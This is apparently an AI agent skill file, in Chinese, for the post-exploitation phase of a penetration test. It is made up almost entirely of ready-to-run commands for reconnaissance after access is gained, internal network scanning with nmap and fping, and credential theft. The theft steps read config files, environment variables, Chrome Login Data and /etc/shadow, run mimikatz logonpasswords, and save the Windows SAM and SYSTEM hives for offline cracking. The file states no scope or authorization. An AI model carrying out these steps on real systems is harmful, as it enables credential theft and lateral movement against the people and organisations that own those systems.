pentester-post-exploit

后渗透 Skill

Procedure: .agents/phases/05-post-exploitation.md Schema: phase 5 in schema.json

在已获取初始访问权限后，进行内网信息收集和横向移动。

1. 环境确认

确认当前权限级别和运行环境。

权限确认

# Linux
id
whoami
sudo -l
cat /etc/passwd | grep $(whoami)

# Windows
whoami /all
net user
net localgroup administrators

容器检测

# Linux 容器特征
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
cat /proc/self/mountinfo | grep overlay

# 进程检查
ps aux | grep -i docker

网络配置

# Linux
ip addr
ip route
cat /etc/resolv.conf
cat /etc/hosts

# Windows
ipconfig /all
route print

2. 内网信息收集

网段发现

# Linux
cat /proc/net/route
ip route
arp -a

# Windows
ipconfig /all
route print
arp -a

主机发现

# 快速扫描本地网段
nmap -sn 192.168.1.0/24

# ARP 扫描
arp-scan -l

# ICMP 扫描
fping -a -g 192.168.1.0/24 2>/dev/null

服务探测

# 发现主机后探测服务
nmap -sV -p 22,80,443,3306,3389,8080 192.168.1.0/24

# 识别操作系统
nmap -O 192.168.1.0/24

数据库连接配置

# 常见配置文件位置
cat /var/www/html/wp-config.php
cat /var/www/html/.env
cat /etc/mysql/debian.cnf
cat /opt/*/config/database.yml

# Windows
type C:\inetpub\wwwroot\web.config
dir /s /b *.config 2>nul

3. 凭据收集

配置文件凭据

# Linux
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASSWORD" /var/www/ 2>/dev/null
cat /var/www/html/.env
cat /etc/mysql/debian.cnf
cat /root/.bash_history | grep -i pass

# Windows
type C:\Windows\System32\drivers\etc\hosts
dir /s /b *pass* 2>nul
dir /s /b *cred* 2>nul

环境变量

# Linux
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Windows
set

浏览器凭据

# Chrome (Linux)
cat ~/.config/google-chrome/Default/Login\ Data 2>/dev/null

# Chrome (Windows)
type %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login\ Data

内存凭据

# Linux
strings /dev/mem -n 8 2>/dev/null | grep -i pass

# mimikatz (Windows)
# 需要管理员权限
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

密码哈希

# Linux
cat /etc/shadow
cat /etc/gshadow

# Windows
# 需要管理员权限
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# 离线解密